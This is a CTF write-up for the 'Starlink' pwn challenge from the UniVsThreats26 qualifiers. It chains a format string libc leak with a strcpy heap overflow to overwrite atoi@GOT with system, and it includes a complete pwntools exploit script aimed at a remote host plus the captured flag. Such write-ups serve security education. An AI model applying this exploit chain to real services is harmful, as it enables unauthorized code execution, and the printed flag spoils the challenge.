> ESC
← Posts

Starlink - UniVsThreats26 Quals Pwn

📅 2026-03-06 📂 Writeup 3 min read
PWNBinary ExploitationFormat StringHeap OverflowGOT Overwriteglibc 2.39CTFUniVsThreats26
TL;DR:
Chaining a 7-byte format string leak with a strcpy heap overflow to redirect atoi@GOT to system and pop /bin/sh on a non-PIE, partial RELRO Starlink node manager.

Category: PWN
Remote: 194.102.62.166:31745
Files: starlink (ELF), libc.so.6 (glibc 2.39), ld-linux-x86-64.so.2


TL;DR

Non-PIE + partial RELRO let us know static GOT addresses. A 7-byte format string leaks libc; a strcpy-based heap overflow forges a fake node that overlaps the GOT and turns atoi into system. Sending /bin/sh as the next menu choice spawns a shell.


Reconnaissance

Binary Protections

Arch:       amd64-64-little
RELRO:      Partial RELRO       writable GOT
Stack:      Canary found
NX:         NX enabled
PIE:        No PIE (0x400000)   fixed addresses

Partial RELRO + no PIE means every GOT slot is writable at a known address.

Program Flow

  • Prompts for a description, favorite number, a 7-byte secret word, and a 7-byte name, then calls printf(name) directly — a format string bug.
  • Enters a linked-list menu:
    • Create: malloc(0x128), read 25-byte name and 257-byte content.
    • Update: lookup by name, read(0x400) into stack buffer, then strcpy into node->content (0x107-byte field) → heap overflow into next.
    • Delete: free node.
    • Description: small relative write; unused here.
    • Exit: return.
  • Auto-delete kicks in when node count > 2, so we stay at 1 node.

Structure Layout (0x128-byte node)

0x00 name[25]
0x19 content[0x107]
0x120 next

Vulnerabilities

  1. Format string (7 bytes) at main (printf(name)). Using %9$p leaks the return address from __libc_start_call_main → libc base.

  2. Heap overflow via strcpy in update. Writing >0x107 bytes into content overwrites the next pointer, letting us link any address as the next node.


Exploit Plan

  1. Leak libc with %9$p; libc_base = leak - 0x2a1ca, system = libc_base + 0x58750.
  2. Create one node ("XXXX") to avoid auto-delete logic.
  3. Overflow next to 0x40403f (getchar@GOT + 7) so the fake node starts at a null byte name and its content lands on atoi@GOT (0x404058).
  4. Update the fake node (empty name) to strcpy p64(system) over atoi@GOT.
  5. Send /bin/sh as the menu choice → system("/bin/sh").

Exploit Script

#!/usr/bin/env python3
from pwn import *
import re

context.arch = 'amd64'
context.log_level = 'info'

LIBC = './libc.so.6'
libc = ELF(LIBC, checksec=False)

RET_OFF = 0x2a1ca                  # __libc_start_call_main+ret
SYSTEM_OFF = libc.symbols['system']  # 0x58750 in provided libc

HOST, PORT = '194.102.62.166', 31745


def exploit():
    p = remote(HOST, PORT, timeout=10)

    # ── Phase 1: leak libc via %9$p ──────────────────────────
    p.recvuntil(b'store');  p.sendline(b'AAAA')
    p.recvuntil(b'number'); p.sendline(b'1')
    p.recvuntil(b'secret word'); p.sendline(b'BBBBBB')
    p.recvuntil(b'name'); p.send(b'%9$p\n')

    p.recvuntil(b'welcome')
    leak_line = p.recvline().strip()
    leak = int(re.search(rb'(0x[0-9a-f]+)', leak_line).group(1), 16)
    libc_base = leak - RET_OFF
    system_addr = libc_base + SYSTEM_OFF
    log.success(f'libc base: {hex(libc_base)}')
    log.success(f'system:    {hex(system_addr)}')

    # ── Phase 2: create node ─────────────────────────────────
    p.recvuntil(b'Exit'); p.sendline(b'1')
    p.recvuntil(b'24)'); p.sendline(b'XXXX')
    p.recvuntil(b'256)'); p.sendline(b'YYYY')

    # ── Phase 3: overflow next → 0x40403f (fake node) ────────
    p.recvuntil(b'Exit'); p.sendline(b'2')
    p.recvuntil(b'update:'); p.sendline(b'XXXX')
    p.recvuntil(b'content')
    p.send(b'A' * 0x107 + b'\x3f\x40\x40\n')  # next = 0x40403f

    # ── Phase 4: overwrite atoi@GOT with system ─────────────
    p.recvuntil(b'Exit'); p.sendline(b'2')
    p.recvuntil(b'update:'); p.sendline(b'')  # empty name hits fake node
    p.recvuntil(b'content')
    p.send(p64(system_addr))

    # ── Phase 5: trigger system("/bin/sh") ───────────────────
    p.recvuntil(b'Exit')
    p.sendline(b'/bin/sh')
    p.interactive()


if __name__ == "__main__":
    exploit()

Flag

UVT{wh444t_h0us3_0f_sp1r1t_1n_th3_b1g_2026_ph4nt4sm4l_ph4nt4smagor14_1s_1t_y0u_06112009_JSdlsadasd8348Gh}